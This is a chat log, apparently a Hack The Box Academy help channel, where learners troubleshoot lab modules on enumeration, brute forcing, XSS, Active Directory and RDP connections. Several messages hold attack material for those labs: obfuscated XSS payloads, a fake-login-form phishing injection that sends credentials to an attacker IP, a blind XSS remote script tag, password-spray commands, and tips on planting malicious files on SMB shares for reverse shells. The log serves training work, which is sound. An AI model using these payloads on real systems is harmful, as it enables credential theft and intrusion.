yeah, i was going to use kvm/qemu and passthrough a gpu to use windows in vm and linux as host
no, using wsl on my laptop
that's why i was confused for a sec
it virtualizes the virtual
there is no "best distro"
i've heard its just packages
i was using garuda blackarch
but for the most part if you're using a debian based distro it's all the same
but for htb using kali wsl
personal preference mostly ¯_(ツ)_/¯
i was trying to find a distro that looks like windows 7
there's not really a distro that looks like win7
you can customize using a KDE
and google different KDEs to find one that might be similar
basically
I went through the various enum tools discussed prior to the module to see if any of them would show the Wordpress plugin.
Namely, cURL, whatweb, and nmap. None of them were able to enumerate the plugin that the "Simple Backup Plugin 2.7.10".
What tool would you have used? Or should I have downloaded a wordpress enumeration script for nmap?
there's a wordpress enum tool
but it's not referred to
poor dude who's wall of text keeps getting yeeted
the script for nmap?
mm okay. so for certain services you need a specialized tool to see the associated plugins. There isn't really a catch-all?
you can fuzz for plugins under the wp-plugins directory
^
with ffuf for example
but again this is getting-started module
so you're not expected to really know all about these tools
yes just continue 😂
and i'm guessing for the sake of not mindflooding new users: they kept it basic
I see, thank you.
tbh @unique finch if all else fails: just use the in-browser pwnbox if you can
it works perfectly fine from there
yep
it seems like you have a grasp what to do: just the tool on your end being st00pid
i dont even want a career in cyber sec, just want to learn more about exploits. more specifically windows kernel exploits
good for gamehacks
eh there's really not many that focus on kernel exploits
idk about the game hacking modules
more so into reversing and intercepting packets
there are many kernel escalation pocs on github
idk if there's many kernel exploit related modules
it will delete it if you use ip adrr
i need help in SMB module : Find additional information about the specific share we found previously and submit the customized version of that specific share as the answer. i have used rpcclient but either i cant see the answer if its in front of me or im issuing the wrong commands ive used the commands in the module
the only barely mention of it is in the windows privesc module
hint Samba
Hi all,
don't think my earlier post made it through, not sure why it's not appearing in the thread.
But basically looking to see if anyone was able to provide a nudge/hint for the final question of the ADCS skills assessment.
Tried ESC8/11 to Dev and remote to DC - No good
Tried ESC7 as per the play in the lesson - No luck
Tried enrolling a cert with X (that he has permissions for) and approving with Y (given the group he is part of) - No luck
I feel that ESC7 is the path the assessment wants to go down, but i think im missing a vital step to get me over the line.
because 1) your main account isn't linked
2) your message was so long automod basically treated it as spam
#welcome <- instructions and stuff here
ah, it's prob #2 - went into a bit of detail about what i attempted to help detail what ive tried.
it's both
it's not a or b
it's a AND b
understood. thank you.
also as a note
please refrain from using usernames and such in your requests for assistance
there are lots of pocs that are handy to use, im trying to learn the networking side of things such as packet sniffing ect. kernel esc is a fun topic if you are interested you can look into efi_driver_access on github by TheCruZ
you can shortand users as t* or to* if two users share the same first initial
but this delves into convo away from academy modules ;)
@languid pulsar whomst the fuck are you? i didn't give permission to dm :)
it's esc7, enumerate which type of esc7 to use
true, are there no modules for packet interception?
i think there's a wireshark module
¯_(ツ)_/¯
you know the academy has a search feature right?
i should probably stop using this chat as a gen chat then haha
just passing the time while i get my own pwnbox up and running i guess
I know guys this maybe not the place to ask but
I wanna ask are the pro labs been updated like the scenarios of approaching flags, methods, etc? Because I did rasta labs and dante a while ago and I'm going for Zephyr and if I get stuck maybe try either lab again so just wanna know before I buy the subscription
read #welcome for instructions on linking your account to access the prolabs related channels
Thank you
I've used certipy to identify the vuls, which shows the group that J* is part of (s***t), but also saw that that group doesn't have MA permissions. Is it a case of me working out a way to get that permission assigned to J's account?
you can use another permission for esc7
can see both E* and M--s permissions. Though I've tried to issue a cert from a template that T* could enrol in (didn't see any template that J* could).
check what group J* is in
k thanks. I'll check again now.
this is such the worst website
what a shame; then why are you here
because i clicked next for everything in the tutorial make it easier
anyways i am leaving now
why doesn't it connect?
you don't need sudo for ssh
Vpn connected?
but also ^
Sure
"Sure" isn't a yes/no answer
Yes
em am i doing something wrong ? currently I'm doing the module: Password Attack/Password Mutation, i downloaded the file there is 3 files i mutate the password.list using the custom.rule given in the downloaded files. than i use hydra to tried and get the password for the user "sam" ? seem like its going to take 64hr? is there something wrong ? any help will be greatly appreciated
don't attack ssh
the username isn't supplied correctly here, there's no need to sudo ssh
username is supplied properly
the prompt for kali was because they used sudo
yeah that's what I meant
Wrong ip
Yes
Sneak peek screenshot
i get it. Sorry ; )
let me try smth else see will it work. thx for the hint! really thought i was going to have to w8 64hr ...
also -t 48

ping that ip
change vpn regions and download a new vpn (close and delete the old one)
also use the tcp
Ok
Thank you, it works
your ping should now also be stable
is there any way tp change the background color of htb academy/
not unless you use a browser plugin
i think there's one that some people use called lightreader
thx!
got it? :D
(note ssh is super slow, you should almost never brute force it unless you have to, and even then don't and just cry)
there's a tool that's been mentioned for bruteforcing ssh - called ssb
haven't tried it
i will give it a try. initially i set -t 4 on ssh take 64hr now i set -t 48 and take like 3hr 🙂 haha but seem like attacking ssh just take too long
just try a different protocol

use nmap to find open ports
ty! completely forgotten nmap exist
lol that's what my first hint was pushing towards: don't brute ssh
after using XSS strike to find a payload like '><dEtAiLs%0aontoGGle+=+[8].find(confirm)%0dx//
where do i inject the payload?
if there's somewhere to input text maybe
yea its in the url
but where do i put my payload?
do i put it at the end of that?
'><dEtAiLs%0aontoGGle+=+[8].find(confirm)%0dx//<script>alert(document.cookie)</script>
try using dev tools to just paste it in, or do it how the section described
usually xss is done via a form on the page, but it can be done in url
i am but if i want to put my own script
to do something where do i put it
along with the payload?
no not really
'><a/+/oNMoUsEOVEr+=+(prompt)``><!--document.write('--!><h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove(); anyone kno why that dont remove the id urlform
xss phising
html comments dont affect the actual javascript too right only what it displays on web/
is that the one where the question has you upload something to send?
or why does making html comment not affect the code? yes login form
but isn't there a /send or whatever
he comments out a piece of the code on the website using a html comment but it doesnt affect the thing why?
no
likely it wasn't an important peace of code, like a header or something
¯_(ツ)_/¯
as suggested by the module to understand it better: try viewing page source to see what it's doing
i c but also some of my payload shows up as text how do I remove it if I html comment it out it wont work anymore..
well when you view-source it's gonna show that it injects it in-front of the html code
on a normal view it's not gonna show much
wdym
ik i did it im just trying to make it look nice
document.write('<h3> this bit shows up in white text but how do i remove it
¯_(ツ)_/¯
you should at least first test it
if you test it as shown: do you get login info
don't worry about it
kk
btw your copy paste shows `` instead of doublequotes here
or singlequotes whatever you're trying to do
thats the way it formatted
wdym
just made it easier to parse the different things for myself
oh i c
using ```html at the top and then closing with ``` underneath it puts it into codeblock
oh i c ok danke
also your URL payload doesn't include the html comment out at the end of the payload? unless that wasn't copy/pasted on here
btw i'd suggest deleting the code block since that's technically how to get the answer
😉
ll
finally solve it ty!
DNS Module : What is the FQDN of the host where the last octet ends with "x.x.x.203"? 1st thing i did is run ||dig axfr inlanefreight.htb @10.129.181.78|| and got ||app.inlanefreight.htb. 604800 IN A 10.129.18.15
dev.inlanefreight.htb. 604800 IN A 10.12.0.1
internal.inlanefreight.htb. 604800 IN A 10.129.1.6
mail1.inlanefreight.htb. 604800 IN A 10.129.18.201
ns.inlanefreight.htb. 604800 IN A 127.0.0.1|| then i ran against each subdomain the 2 commands ||dig axfr app.inlanefreight.htb @10.129.32.216|| and ||dnsenum --dnsserver 10.129.32.216 --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --threads 90 app.inlanefreight.htb|| but i cannot get the answer. plz help me
"Dns module" pretty sure that's not the name of it
But you should be fierce with your wordlists
Module btw is Footprinting
can someone help[ me with xss the blind xss
i cant <script src="http://ip/script.js">
i post in both inputs but no work at all
I got a question I am very new to hack the box. Should I do hack the box on kali linux (vm) or should I do it on my mac?
Hi can anyone please help me with Injection attacks module - skill assessment? I got to|| xml exfiltration || now I'm stuck.
If you've gotten till there then you're on the right path. From there, it's a matter of adjusting your payload to get just what you want. Check the XPath sections to get more idea.
I think I can get the whole ||xml file|| but I do not see the flag there
Hello everyone, could you give me a little help here? Im having this issue with xfreerdp since yesterday
I cant make progress in CDSA modules
If it takes more than an hour, then you are doing something wrong
You can't actually see the whole ||xml content from the iframe|| if your payload is just blasting the whole thing. The amount of ||entries in the XML base is huge or should I say the id you need is phenomenal 😶 ||
Well, again you are doing something wrong, none of the exercises takes significant amount of time
If it takes, then change the approach or vector
So, you know the usual flag format for HTB. ||Think how you can have your payload to just search for that format and get just that entry|| @sonic arch
The XPath sections will give you the thing you need for your payload or even some googling will do.
¯_(ツ)_/¯
Thank you
Also, have you tried getting the source code for the internal application? That should give you a better idea but again, the whole thing logic behind the query isn't complicated and can be done with assumptions of how the query code would look like.
I need help in the module YARA & Sigma for SOC Analysts and other modules that need to use xfreerdp, Its isnt working as it should be, not connecting and having errors
check your credentials, if there is a special character somewhere make sure to use single or double quotes
okay okay
Hi, i used Get-DomainObjectACL command with specific user's SID in real environment, after hours still there is no output, is it how it works and takes too long? 🙂
checked it right now, everything is fine, but I still having the same issu 😦
nvm I run it again and for some reason it worked
hi, i have been using the command "crackmapexec smb IP -u jason -P password.list --local-auth" in the attacking smb in attacking common services but i get no results any hints pls ?
it's normal on the password attacks
the brutefoce smb taking so long?
i'm using metasploit to do so
If there is THREADS option you can increase it
mostly it doen't take long for me to get the password when brute forcing
Hey guys, I am currently trying to exploit a writable smb share on a domain computer. Can anyone point me to a module in the academy where I can read up on any techniques or procedures to try?
you can plant some malicious files such as but not limited to lnk files, library files and other if you are expecting someone to visit it so you can capture its authentication request, you can also place a malicious binary that could be masked as legit one and upon execution to provide you with a reverse shell. Those are some options that you can think of and eventually excel on
thanks a lot! Do you if any of these techniques are explained in an academy module? I guess there is no dedicated module for that but worth a shot.
AD Enum & Attacks, CME, NTLMRelaying would have those not all but yea
thanks you very much good Sire
if your problem is relevant to the channel then sure
okayyy
is the academy support working?
jsp
I have a question I want to start a malware analysis lab on kali linux where do I find malware to use it on my vm?
Im stuck right in this module: Hunting Evil with YARA (Windows Edition) can someone help me?
I tried to follow the setps but no results
having trouble with "spawing a target" not working and just hanging (wheel spinning) for more then 5 minutes. I have tried multiple times ... anyone else having this problem?
i had this on password attack a few minutes ago
but i refreshed the page and spawned it again
mine is still acting up.. Thanks
vm's today just dont work as expected
anyone can help me with this error? Write-Output : Parameter cannot be processed because the parameter name 'e' is ambiguous. Possible matches include: -ErrorAction -ErrorVariable.
had this happening last night, refresh and keep trying. It will spawn eventually
my issue?
solved
guys i have an issue in the attacking smb section in attacking common service ... when i try to brute force the user jason on smb using crackmapexec (with --local-auth) or when i try it with metasploit i get no result even though i use the attackbox and the password list from the resources is there anything im not doing right ?
nevermine i used the password list from other section lol
Hello, Can i Ask a question about challenge here ?
Someone can help me about "USING CRACKMAPEXEC - Skill Assessment" . Q2?
Best method to copy the tools folder from the AD section? gonna be a big file
It's better to ask in the #challenges channel
I don't have Access to this channel 🥲
Read and follow #welcome
check the shares
ty
hi, same question. Did you figure it out?
👀
Hey guys, do you know if the following Inveigh command is effectively equivalent to running responder (for capturing hashes):
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
Alternatively, is it possible to use responder over proxychains somehow?
Hi there, anyone who have tips pour the skills assesment 2, in "intro to assembly" please, i got the code (wrong) and a shellcode under the 50 bytes with no null bytes but nothin seems to work. I know that the flag on this ex is called "/flg.txt" so it should be ok with an unique register to store. Thanks
not too sure what you're asking here, what do you have problems with?
the original question is "The above server simulates a vulnerable server that we can run our shellcodes on. Optimize 'flag.s' for shellcoding and get it under 50 bytes, then send the shellcode to get the flag. (Feel free to find/create a custom shellcode)", i've re-read the shellcode requirement and i optimize the shellcode (it contains no null bytes and is under 50 bytes) but nothing seems to work
easiest way to test it is either through gdb or make a /flg.txt file in your own system and run the binary
also, your shellcode will need to have null byte, you'll need it for the string terminator, and the read syscall number, the shellcode will work as long as they're at the right place
ahhhh ok😇 thanks for the tips, i think i know where's my mistake
AD Enumeration & Attacks: I'm trying to connect via RDP but nothing is loading. I've tried downloading a different VPN file, resetting the machine, adding inlanefriehgt.local to /etc/hosts, and tried Pwnbox but I can't connect to RDP?
hit enter
wtf it worked thanks
After having spend many hours on this topic I was also able to read the index.php file like you show in the Figure. Now I am trying to read bash history files for lab_adm user as well as files in the .ssh directory. No success. Is there a way to actually get a reverse shell on the linux box (IP = 172.16.5.127)? Thanks.
command inject a url encoded reverse shell oneliner, that's it
let me ask u guys something
topics like SAM and LSASS
are used frequently? cause i'm having a hard timing on that

of course that with a cheat sheet i could do it "easly" but understading the theory is the problem
the reg hives stores hashes of local accounts, lsass stores credentials of currently logged in users
thanks, maybe im overthinking the things
i'll try to keep simple at the beginning, maybe i the future i can deep a little bit more
stuck on Nessus Skills Assessment if anyone can help, I am able to login to my personal created account but the credential scan is not working the scan is only lasting <10secs and no results, additionally the provided credentials do not work for me to view the precompiled scan results
how do you expect precompiled results on your machine?
You need to connect to https://ip:nessusport
Ip being the spawned ip
am i suppose to use msf once i have the vulnerability for this one? or am i overthinking it. web proxies -> zap scanner
As the targets are on an internal *172.15-16.x.x
@midnight kindle Do not post spoilers, ie the flag. If you need assistance post your question, but do not post the flag.
you’re overthinking it
my spider senses are tingling
@fathom pendant I am getting error trying to connect to spawned ip with 8834
Https

yes
Can you not click: advanced continue anyway?
only got that when connecting using localhost:8834, does something need to be edited in /hosts?